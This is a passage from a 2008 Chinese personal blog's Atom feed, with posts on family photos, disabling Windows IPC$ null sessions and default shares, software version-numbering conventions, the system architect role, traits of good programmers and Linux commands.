VK_TFLIP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VK_F17&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Flip</span><span style="COLOR: #000000"><br /></span><span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> VK_TPOWER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VK_F18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Power</span><span style="COLOR: #000000"><br /></span><span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> VK_TVOLUMEUP&nbsp;&nbsp;&nbsp; VK_F6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Volume Up&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #000000"><br /></span><span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> VK_TVOLUMEDOWN&nbsp; VK_F7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Volume Down</span>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=460" /> 
	  <id>http://www.openx.cn/default.asp?id=460</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[我们家乐鑫上报纸啦～]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=4" label="照片" /> 
	  <updated>2008-04-23T13:11:59+08:00</updated>
	  <published>2008-04-23T13:11:59+08:00</published>
		  <summary type="html"><![CDATA[<p>[img]http://www.openx.cn/attachments/month_0804/d2008423131036.jpg[/img]</p>
<p>我们家乐鑫小朋友上报纸啦，大家来投票哇～<br />http://wfw.fznews.com.cn/zp.asp?id=6598<br /></p>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=459" /> 
	  <id>http://www.openx.cn/default.asp?id=459</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Baby 80天艺术照二家爆光]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2008-04-15T20:35:01+08:00</updated>
	  <published>2008-04-15T20:35:01+08:00</published>
		  <summary type="html"><![CDATA[看偶80天就能抬这么高的头哇～～～<br/><img src="http://www.wuquanquan.com/attachments/month_0804/w2008415201231.jpg" border="0" alt=""/><br/><br/>我是奥运宝宝～～～～<br/><img src="http://www.wuquanquan.com/attachments/month_0804/s200841520209.jpg" border="0" alt=""/><br/><br/>首家曝光在这里:<a target="_blank" href="http://www.wuquanquan.com/article.asp?id=2">http://www.wuquanquan.com/article.asp?id=2</a>,特此申明<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=458" /> 
	  <id>http://www.openx.cn/default.asp?id=458</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[关闭默认共享　禁止ipc$空连接]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2008-04-13T15:06:26+08:00</updated>
	  <published>2008-04-13T15:06:26+08:00</published>
		  <summary type="html"><![CDATA[<p>默认共享： <br />在Windows 2000/XP/2003系统中，逻辑分区与Windows目录默认为共享，这是为管理员管理服务器的方便而设，但却成为了别有用心之徒可趁的安全漏洞。</p>
<p>IPC$ <br />IPC$(Internet Process Connection)是共享&quot;命名管道&quot;的资源，它是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限，在远程管理计算机和查看计算机的共享资源时使用。</p>
<p>利用IPC$,连接者可以与目标主机建立一个空的连接，即无需用户名和密码就能连接主机，当然这样连接是没有任何操作权限的。但利用这个空的连接，连接者可以得到目标主机上的用户列表。 <br />利用获得的用户列表，就可以猜密码，或者穷举密码，从而获得更高，甚至管理员权限。</p>
<p>只要通过IPC$，获得足够的权限，就可以在主机上运行程序、创建用户、把主机上C、D、E等逻辑分区共享给入侵者，主机上的所有资料，包括QQ密码、email帐号密码、甚至存在电脑里的信用卡资料都会暴露在入侵者面前。</p>
<p>要防止别人用ipc$和默认共享入侵，需要禁止ipc$空连接，避免入侵者取得用户列表，并取消默认共享。</p>
<p><br />禁止ipc$空连接进行枚举 <br />运行regedit，找到如下组键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为：00000001 <br />Value：0x0(缺省) <br />0x1 匿名用户无法列举本机用户列表 <br />0x2 匿名用户无法连接本机IPC$共享 <br />说明:不建议使用2，否则可能会造成你的一些服务无法启动，如SQL Server</p>
<p>关闭139与445端口 <br />ipc$连接是需要139或445端口来支持的，139端口的开启表示netbios协议的应用，通过139,445(win2000)端口实现对共享文件/打印机的访问，因此关闭139与445端口可以禁止ipc$连接。</p>
<p>关闭139端口可以通过禁用 netbios 协议来实现。 <br />139端口关闭方法：控制面板-&gt;网络和拨号连接-&gt;本地连接，点属性按钮进入&ldquo;本地连接 属性&rdquo;页面，选择&ldquo;Internet 协议 (TCP/IP)&rdquo;，然后点属性按钮，在弹出窗口点高级按钮，然后选择WINS标签，点&ldquo;禁用 TCP/IP 上的 NetBios&rdquo;，最后确定退出。</p>
<p>445端口关闭方法：运行regedit，找到项[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]，建立名称为SMBDeviceEnabled，DWORD类型的键，值为00000000。</p>
<p>关闭默认共享：</p>
<p>1、删除已有的共享 <br />运行 <br />net share ipc$ /del <br />net share admin$ /del <br />net share c$ /del <br />net share d$ /del <br />&hellip;&hellip;&hellip;&hellip;（有几个删几个）</p>
<p>OR：建立新TXT文件，输入： <br />ECHO OFF <br />NET SHARE C$ /Delete <br />NET SHARE D$ /Delete <br />NET SHARE E$ /Delete <br />NET SHARE F$ /Delete <br />NET SHARE G$ /Delete <br />NET SHARE H$ /Delete <br />NET SHARE ADMIN$ /Delete <br />NET SHARE IPC$ /Delete <br />ECHO ON <br />（有更多分区的话继续加，I$ J$ &hellip;&hellip;） <br />另存为 noshare.bat 放在系统目录下，建立快捷方式到&ldquo;开始&rdquo;菜单的&ldquo;启动&rdquo;组。 这样每次启动的时候都自动删除共享。</p>
<p>或者在&ldquo;控制面板-&gt;管理工具-&gt;计算机管理&rdquo;里的&ldquo;共享文件夹-&gt;共享&rdquo;中删除。</p>
<p>2、修改注册表 <br />删除了共享，下一次启动时还是会自动打开共享，要永久关闭需要修改注册表</p>
<p>IPC$、Admin$和C$、D$都不同，在注册表的修改是不同的。你所改的只是禁止了C$、D$。而没有禁止IPC$。 <br />禁止C$、D$管理共享 <br />对于服务器而言： <br />修改HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters <br />Name：AutoShareServer <br />Type：DWORD <br />Value：0 <br />对于工作站而言： <br />修改HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters <br />Name：AutoShareWks <br />Type：DWORD <br />Value：0 <br />修改注册表后需要重启Server服务或重新启动机器。 <br />注：这些键值在默认情况下在主机上是不存在的，需要自己手动添加。</p>
<p>禁止ADMIN$缺省共享 <br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters <br />Name：AutoShareWks <br />Type：REG_DWORD <br />Value：0x0</p>
<p><br />另外:</p>
<p>A、关闭ipc$和默认共享依赖的服务（不推荐） <br />net stop lanmanserver <br />可能会有提示说，XXX服务也会关闭是否继续。因为还有些次要的服务依赖于lanmanserver。一般情况按y继续就可以了。</p>
<p>B、最简单的办法是设置复杂密码，防止通过ipc$穷举密码。但如果你有其他漏洞，ipc$将为进一步入侵提供方便。</p>
<p>C、装防火墙，或者端口过滤。</p>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=457" /> 
	  <id>http://www.openx.cn/default.asp?id=457</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[嘿秀~~~日志换皮肤咯!]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=5" label="点点滴滴" /> 
	  <updated>2008-04-08T17:59:04+08:00</updated>
	  <published>2008-04-08T17:59:04+08:00</published>
		  <summary type="html"><![CDATA[<p>嘿秀~终于搞定换了一套Blog,也换了一套皮肤,数据库也从Access转成SQL的啦~</p>
<p>重新温习了一次ASP代码,发现宝刀未老,ASP基本没忘,不错不错,ASP其实还是很强大的说.</p>
<p>&nbsp;</p>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=456" /> 
	  <id>http://www.openx.cn/default.asp?id=456</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[系统架构师]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2008-04-08T13:01:37+08:00</updated>
	  <published>2008-04-08T13:01:37+08:00</published>
		  <summary type="html"><![CDATA[<p>系统架构师负责设计系统整体架构，从需求到设计的每个细节都要考虑到，把握整个项目，使设计的项目尽量效率高，开发容易，维护方便，升级简单，等等<br />系统架构师的职责： </p>
<p><br />一、理解系统的业务需求，制定系统的整体框架（包括：技术框架和业务框架）</p>
<p><br />二、对系统框架相关技术和业务进行培训，指导开发人员开发。并解决系统开发、运行中出现的各种问题。 系统架构师的目的： </p>
<p><br />对系统的重用、扩展、安全、性能、伸缩性、简洁等做系统级的把握。 系统架构师能力要求： </p>
<p><br />一、系统架构相关的知识和经验。 </p>
<p><br />二、很强的自学能力、分析能力、解决问题的能力。</p>
<p><br /><br />三、写作、沟通表达、培训。</p>
<p><br />角色 <br /><br />软件架构师Software Architect 定义 <br /><br />主导系统全局分析设计和实施、负责软件构架和关键技术决策的角色 职责 </p>
<p><br />l、领导与协调整个项目中的技术活动（分析、设计和实施等）</p>
<p>&nbsp;2、推动主要的技术决策，并最终表达为软件构架 </p>
<p>3、确定和文档化系统的相对构架而言意义重大的方面，包括系统的需求、设计、实施和部署等&ldquo;视图&rdquo; </p>
<p>4、确定设计元素的分组以及这些主要分组之间的接口 </p>
<p>5、为技术决策提供规则，平衡各类涉众的不同关注点，化解技术风险，并保证相关决定被有效的传达和贯彻</p>
<p>&nbsp;6、理解、评价并接收系统需求 </p>
<p>7、评价和确认软件架构的实现 专业技能 </p>
<p><br />l、技术全面、成熟练达、洞察力强、经验丰富，具备在缺乏完整信息、众多问题交织一团、模糊和矛盾的情况下，迅速抓住问题要害，并做出合理的关键决定的能力 l、具备战略性和前瞻性思维能力，善于把握全局，能够在更高抽象级别上进行思考； l、对项目开发涉及的所有问题领域都有经验，包括彻底地理解项目需求，开展分析设计之类软件工程活动等 2、具备领导素质，以在各小组之间推进技术工作，并在项目压力下做出牢靠的关键决策 3、拥有优秀的沟通能力，用以进行说服、鼓励和指导等活动，并赢得项目成员的信任； 4、以目标导向和主动的方式来不带任何感情色彩地关注项目结果，构架师应当是项目背后的技术推动力，而非构想者或梦想家（追求完美） 5、精通构架设计的理论、实践和工具，并掌握多种参考构架、主要的可重用构架机制和模式（例如J2EE架构等）； 6、具备系统设计员的所有技能，但涉及面更广、抽象级别更高； 活动 <br /><br />确定用例或需求的优先级、进行构架分析、创建构架的概念验证原型、评估构架的概念验证原型的可行性、组织系统实施模型、描述系统分布结构、描述运行时刻构架、确定设计机制、确定设计元素、合并已有设计元素 工件 <br /><br />软件构架文档、参考构架、分析模型、设计模型、实施模型、部署模型、构架概念验证原型、接口、事件、信号与协议 系统架构师 <br /></p>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=455" /> 
	  <id>http://www.openx.cn/default.asp?id=455</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[收到百度HI邀请。]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2008-03-30T17:53:37+08:00</updated>
	  <published>2008-03-30T17:53:37+08:00</published>
		  <summary type="html"><![CDATA[<p>装麦咖啡的朋友注意咯～</p>
<p>安装百度Hi时候出现imcs.dll无法写入的错误。</p>
<p>[img]/attachments/month0803/pmes_bHI_1.jpg[/img]</p>
<p>这是由于麦咖啡的访问保护中屏蔽了百度搜霸造成的。</p>
<p>[img]/attachments/month0803/3zr6_bHI_2.jpg[/img]</p>
<p>去掉阻止就可以顺利安装啦。</p>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=448" /> 
	  <id>http://www.openx.cn/default.asp?id=448</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[软件项目版本号的命名格式]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2008-03-30T16:35:52+08:00</updated>
	  <published>2008-03-30T16:35:52+08:00</published>
		  <summary type="html"><![CDATA[版本控制比较普遍的 3 种命名格式 :<br /><br />一、 GNU 风格的版本号命名格式 :<br />主版本号 . 子版本号 [. 修正版本号 [. 编译版本号 ]]<br />英文对照 : Major_Version_Number.Minor_Version_Number[.Revision_Number[.Build_Number]]<br />示例 : 1.2.1, 2.0, 5.0.0 build-13124<br /><br />二、 Windows 风格的版本号命名格式 :<br />主版本号 . 子版本号 [ 修正版本号 [. 编译版本号 ]]<br />英文对照 : Major_Version_Number.Minor_Version_Number[Revision_Number[.Build_Number]]<br />示例: 1.21, 2.0<br /><br />三、.Net Framework 风格的版本号命名格式:<br />主版本号.子版本号[.编译版本号[.修正版本号]]<br />英文对照: Major_Version_Number.Minor_Version_Number[.Build_Number[.Revision_Number]]<br />版本号由二至四个部分组成：主版本号、次版本号、内部版本号和修订号。主版本号和次版本号是必选的；内部版本号和修订号是可选的，但是如果定义了修订号部分，则内部版本号就是必选的。所有定义的部分都必须是大于或等于 0 的整数。<br /><br />应根据下面的约定使用这些部分：<br />Major ：具有相同名称但不同主版本号的程序集不可互换。例如，这适用于对产品的大量重写，这些重写使得无法实现向后兼容性。<br />Minor ：如果两个程序集的名称和主版本号相同，而次版本号不同，这指示显著增强，但照顾到了向后兼容性。例如，这适用于产品的修正版或完全向后兼容的新版本。<br />Build ：内部版本号的不同表示对相同源所作的重新编译。这适合于更改处理器、平台或编译器的情况。<br />Revision ：名称、主版本号和次版本号都相同但修订号不同的程序集应是完全可互换的。这适用于修复以前发布的程序集中的安全漏洞。<br />程序集的只有内部版本号或修订号不同的后续版本被认为是先前版本的修补程序 (Hotfix) 更新。<br /><br />版本号管理策略<br /><br />一、 GNU 风格的版本号管理策略：<br />1．项目初版本时 , 版本号可以为 0.1 或 0.1.0, 也可以为 1.0 或 1.0.0, 如果你为人很低调 , 我想你会选择那个主版本号为 0 的方式 ;<br />2．当项目在进行了局部修改或 bug 修正时 , 主版本号和子版本号都不变 , 修正版本号加 1;<br />3. 当项目在原有的基础上增加了部分功能时 , 主版本号不变 , 子版本号加 1, 修正版本号复位为 0, 因而可以被忽略掉 ;<br />4．当项目在进行了重大修改或局部修正累积较多 , 而导致项目整体发生全局变化时 , 主版本号加 1;<br />5．另外 , 编译版本号一般是编译器在编译过程中自动生成的 , 我们只定义其格式 , 并不进行人为控制 .<br /><br />二、 Window 下的版本号管理策略：<br />1．目初版时 , 版本号为 1.0 或 1.00;<br />2. 当项目在进行了局部修改或 bug 修正时，主版本号和子版本号都不变 , 修正版本号加 1;<br />3. 当项目在原有的基础上增加了部分功能时 , 主版本号不变 , 子版本号加 1, 修正版本号复位为 0, 因而可以被忽略掉 ;<br />4. 当项目在进行了重大修改或局部修正累积较多 , 而导致项目整体发生全局变化时 , 主版本号加 1;<br />5. 另外 , 编译版本号一般是编译器在编译过程中自动生成的 , 我们只定义其格式 , 并不进行人为控制 .<br /><br />另外 , 还可以在版本号后面加入 Alpha, Beta, Gamma, Current, RC (Release Candidate), Release, Stable 等后缀 , 在这些后缀后面还可以加入 1 位数字的版本号 .<br />对于用户来说 , 如果某个软件的主版本号进行了升级 , 用户还想继续那个软件 , 则发行软件的公司一般要对用户收取升级费用 ; 而如果子版本号或修正版本号发生了升级 , 一般来说是免费的 .<br />附： alphal 内部测试版<br />　　 beta 外部测试版<br />　　 demo 演示版<br />　　 Enhance 增强版或者加强版 属于正式版<br />　　 Free 自由版<br />　　 Full version 完全版 属于正式版<br />　　 shareware 共享版<br />　　 Release 发行版 有时间限制<br />　　 Upgrade 升级版<br />　　 Retail 零售版<br />　　 Cardware 属共享软件的一种，只要给作者回复一封电邮或明信片即可。（有的作者并由此提供注册码等），目前这种形式已不多见。<br />　　 Plus 属增强版，不过这种大部分是在程序界面及多媒体功能上增强。<br />　　 Preview 预览版<br />　　 Corporation &amp; Enterprise 企业版<br />　　 Standard 标准版<br />　　 Mini 迷你版也叫精简版只有最基本的功能<br />　　 Premium -- 贵价版<br />　　 Professional -- 专业版<br />　　 Express -- 特别版<br />　　 Deluxe -- 豪华版<br />　　 Regged -- 已注册版<br />　　 CN -- 简体中文版<br />　　 CHT -- 繁体中文版<br />　　 EN -- 英文版<br />　　 Multilanguage -- 多语言版<br /><br />注释：<br /><br />&alpha;版<br />此版本表示该软件仅仅是一个初步完成品，通常只在软件开发者内部交流，也有很少一部分发布给专业测试人员。一般而言，该版本软件的 bug 较多，普通用户最好不要安装。<br /><br />&beta;（beta）版<br />该版本相对于&alpha;版已有了很大的改进，消除了严重的错误，但还是存在着一些缺陷，需要经过大规模的发布测试来进一步消除。这一版本通常由软件公司免费发布，用户可从相关的站点下载。通过一些专业爱好者的测试，将结果反馈给开发者，开发者们再进行有针对性的修改。该版本也不适合一般用户安装。<br /><br />&gamma;版<br />该版本已经相当成熟了，与即将发行的正式版相差无几，如果用户实在等不及了，尽可以装上一试。<br /><span class="sp874">// 本文转自 C++Builder研究 - http://www.ccrun.com/article.asp?i=1006&amp;d=6074sk</span><br /><br />trial（试用版）<br />试用版软件在最近的几年里颇为流行，主要是得益于互联网的迅速发展。该版本软件通常都有时间限制，过期之后用户如果希望继续使用，一般得交纳一定的费用进行注册或购买。有些试用版软件还在功能上做了一定的限制。<br /><br />unregistered（未注册版）<br />未注册版与试用版极其类似，只是未注册版通常没有时间限制，在功能上相对于正式版做了一定的限制，例如绝大多数网络电话软件的注册版和未注册版，两者之间在通话质量上有很大差距。还有些虽然在使用上与正式版毫无二致，但是动不动就会弹出一个恼人的消息框来提醒你注册，如看图软件 acdsee 、智能陈桥汉字输入软件等。<br /><br />demo版<br />也称为演示版，在非正式版软件中，该版本的知名度最大。 demo 版仅仅集成了正式版中的几个功能，颇有点像 unregistered 。不同的是， demo 版一般不能通过升级或注册的方法变为正式版。<br />以上是软件正式版本推出之前的几个版本，&alpha;、&beta;、&gamma;可以称为测试版，大凡成熟软件总会有多个测试版，如 windows 98 的&beta;版，前前后后将近有 10 个。这么多的测试版一方面为了最终产品尽可能地满足用户的需要，另一方面也尽量减少了软件中的 bug 。而 trial 、 unregistered 、 demo 有时统称为演示版，这一类版本的广告色彩较浓，颇有点先尝后买的味道，对于普通用户而言自然是可以免费尝鲜了。<br /><br />正式版<br />不同类型的软件的正式版本通常也有区别。<br /><br />release<br />该版本意味&ldquo;最终释放版&rdquo;，在出了一系列的测试版之后，终归会有一个正式版本，对于用户而言，购买该版本的软件绝对不会错。该版本有时也称为标准版。一般情况下， release 不会以单词形式出现在软件封面上，取而代之的是符号 (r) ，如 windows nt(r) 4.0 、 ms-dos(r) 6.22 等。<br /><br />registered<br />很显然，该版本是与 unregistered 相对的注册版。注册版、 release 和下面所讲的 standard 版一样，都是软件的正式版本，只是注册版软件的前身有很大一部分是从网上下载的。<br /><br />standard<br />这是最常见的标准版，不论是什么软件，标准版一定存在。标准版中包含了该软件的基本组件及一些常用功能，可以满足一般用户的需求。其价格相对高一级版本而言还是&ldquo;平易近人&rdquo;的。<br /><br />deluxe<br />顾名思义即为&ldquo;豪华版&rdquo;。豪华版通常是相对于标准版而言的，主要区别是多了几项功能，价格当然会高出一大块，不推荐一般用户购买。此版本通常是为那些追求&ldquo;完美&rdquo;的专业用户所准备的。<br /><br />reference<br />该版本型号常见于百科全书中，比较有名的是微软的 encarta 系列。 reference 是最高级别，其包含的主题、图像、影片剪辑等相对于 standard 和 deluxe 版均有大幅增加，容量由一张光盘猛增至三张光盘，并且加入了很强的交互功能，当然价格也不菲。可以这么说，这一版本的百科全书才能算是真正的百科全书，也是发烧友们收藏的首选。<br /><br />professional（专业版）<br />专业版是针对某些特定的开发工具软件而言的。专业版中有许多内容是标准版中所没有的，这些内容对于一个专业的软件开发人员来说是极为重要的。如微软的 visual foxpro 标准版并不具备编译成可执行文件的功能，这对于一个完整的开发项目而言显然是无法忍受的，若客户机上没有 foxpro 将不能使用。如果用专业版就没有这个问题了。<br /><br />enterprise（企业版）<br />企业版是开发类软件中的极品（相当于百科全书中的 reference 版）。拥有一套这种版本的软件可以毫无障碍地开发任何级别的应用软件。如著名的 visual c++ 的企业版相对于专业版来说增加了几个附加的特性，如 sql 调试、扩展的存储过程向导、支持 as/400 对 ole db 的访问等。而这一版本的价格也是普通用户无法接受的。如微软的 visual studios 6.0 enterprise 中文版的价格为 23000 元。<br /><br />其他版本<br />除了以上介绍的一些版本外，还有一些专有版本名称。<br /><br />update（升级版）<br />升级版的软件是不能独立使用的，该版本的软件在安装过程中会搜索原有的正式版，如果不存在，则拒绝执行下一步。如 microsoft office 2000 升级版、 windows 9x 升级版等等。<br /><br />oem版<br />oem 版通常是捆绑在硬件中而不单独销售的版本。将自己的产品交给别的公司去卖，保留自己的著作权，双方互惠互利，一举两得。<br /><br />单机（网络）版<br />网络版在功能、结构上远比单机版复杂，如果留心一下软件的报价，你就会发现某些软件单机版和网络版的价格相差非常大，有些网络版甚至多一个客户端口就要加不少钱。<br /><br />普及版<br />该版本有时也会被称为共享版，其特点是价格便宜（有些甚至完全免费）、功能单一、针对性强（当然也有占领市场、打击盗版等因素）。与试用版不同的是，该版本的软件一般不会有时间上的限制。当然，如果用户想升级，最好还是去购买正式版。<br /><br /><br />以上是一些常见软件版本的简要介绍，随着软件市场行为的变化，现在也出现了一些新的版本命名方式，比如windows xp中的xp是取自于experience中的第二、第三个字母。希望以上内容能够对大家的购买、使用和下载软件有所帮助。<br /><br /><br />基于商业上考虑，很多的软件都不是非常严谨的遵循这个规则的。最有名的就是微软了。例如他的 NT 系列版本。大家比较熟悉的是从 NT 4.0 开始的。 99 年推出了 windows 2000 ， 2001 年退出了 windows xp ， 2003 年推出了 windows 2003 ，乍一看版本区别蛮大的，但是看他们的内部版本号就会发现，变化其实并不大，只是界面变化的大了而已。这是软件公司经常干的事情。 Window 2000 的版本号是 NT 5.0 ， windows xp 的版本号是 NT 5.1 ， windows 2003 的版本号是 NT 5.2 ，而现在的 longhorn 才是真正的 NT 6.0 （印象中是，不敢确认）。这样就可以持续的赚广大客户的钱。毕竟人的眼睛看得东西是最直观的，所以给人感觉也是变化最大的<br />]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=447" /> 
	  <id>http://www.openx.cn/default.asp?id=447</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[国际：如何识别真正的程序员]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2008-03-22T20:14:13+08:00</updated>
	  <published>2008-03-22T20:14:13+08:00</published>
		  <summary type="html"><![CDATA[<p>如何识别优秀的程序员？并不是像听起来那么容易。在这儿工作经验的作用是很有限的，因为伟大的程序员不一定要&lsquo;正式&rsquo;的工作经历来证明他们的伟大。</p>
<p><strong>1，激情。</strong></p>
<p>我曾经遇到许多&ldquo;职业程序员&rdquo;，他们从事IT是因为觉得这是一种职业，他们只在工作时间编程，除非送去培训否则他们不会学习新东西，这不是好的程序员。我认为一个好的程序员总是对编程充满激情，而且好的开发者会做一些编程工作即使这没有报酬。激情是一个优秀程序员的重要指标。</p>
<p><strong>2，自学好学</strong></p>
<p>编程领域始终发展变化着，不出一年有些新技术就变成了老技术，这并不是说好的程序员要对所有新技术跟进，但有些却对学习任何新技术都没有兴趣。他们通常在学校学习了编程，然后工作后单位安排学什么就学什么。如果在招聘中你听到&ldquo;让我培训一个星期我就会胜任这个工作&rdquo;那不要雇佣他。实际上，真正优秀的程序员始终谈论着你所不知道的新技术，向人们解释为什么你必须用这个技术，哪怕没有听众听得明白，哪怕他自己也不明白。</p>
<p><strong>3，聪明</strong></p>
<p>聪明包括很多因素，情绪和社会交际只是其中之一。好的程序员绝不木讷，他们是最聪明的人，他们中的许多善于交际，健谈、兴趣广泛。</p>
<p><strong>4，隐性的经验</strong></p>
<p>&mdash;好的程序员通。常有自己的私人的一些研究、爱好、项目，而这些是他们不写在简历上 (通常觉得不值得写)，但表现出来却可能恰恰是他的潜能、深度和后劲所在。</p>
<p><strong>5，技术多样性</strong></p>
<p>由于好的程序员喜欢学习和涉猎新技术，所以一般来说超过22岁的都熟知很多新技术，而且对多种技术的长短有 &ldquo;强烈&rdquo;的个人意见/见解，喜好尝试新鲜技术。</p>
<p><strong>6，资格证书</strong></p>
<p>资格证书并不是识别真正程序员的方法，MCSE、SCJP、说明不了什么，它们只是让别人认识和获取的，顶多代表这个人在某个技术有一定的知识。</p>
<p>原文作者在文末写道：以上所说的标准并不是绝对的，因为有些优秀的程序员确实不符合上述，而有些bad程序员却符合了。但相信这些对大多数真正的程序员都适用。</p>
<p>&nbsp;</p>
<p><strong>总结而言，优秀的程序员通常有一下特点：</strong></p>
<p>n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 对技术充满激情；</p>
<p>n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 将编程作为一种爱好</p>
<p>n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果你允许会滔滔不绝地跟你谈论技术</p>
<p>n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 有过个人的开发经历（与4意思相同）</p>
<p>n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 坚持认为某种技术最好</p>
<p>n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果让他用他认为不好的技术他会非常别扭</p>
<p>n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 聪明、健谈、兴趣广泛</p>
<p>n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在大学和工作前就开始接触程序</p>
<p>&nbsp;</p>
<p>摘:http://news.csdn.net/n/20080117/112853.html</p>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=446" /> 
	  <id>http://www.openx.cn/default.asp?id=446</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Linux系统指令大全]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2008-03-17T14:11:18+08:00</updated>
	  <published>2008-03-17T14:11:18+08:00</published>
		  <summary type="html"><![CDATA[<span class="a14c" id="zoom">&nbsp;
<p style="TEXT-INDENT: 2em">名称：cat </p>
<p style="TEXT-INDENT: 2em">使用权限：所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式：cat [-AbeEnstTuv] [--help] [--version] fileName </p>
<p style="TEXT-INDENT: 2em">说明：把档案串连接后传到基本输出（萤幕或加 &gt; fileName 到另一个档案） </p>
<p style="TEXT-INDENT: 2em">参数： </p>
<p style="TEXT-INDENT: 2em">-n 或 --number 由 1 开始对所有输出的行数编号 </p>
<p style="TEXT-INDENT: 2em">-b 或 --number-nonblank 和 -n 相似，只不过对于空白行不编号 </p>
<p style="TEXT-INDENT: 2em">-s 或 --squeeze-blank 当遇到有连续两行以上的空白行，就代换为一行的空白行 </p>
<p style="TEXT-INDENT: 2em">-v 或 --show-nonprinting </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">cat -n textfile1 &gt; textfile2 把 textfile1 的档案内容加上行号后输入 textfile2 这个档案里 </p>
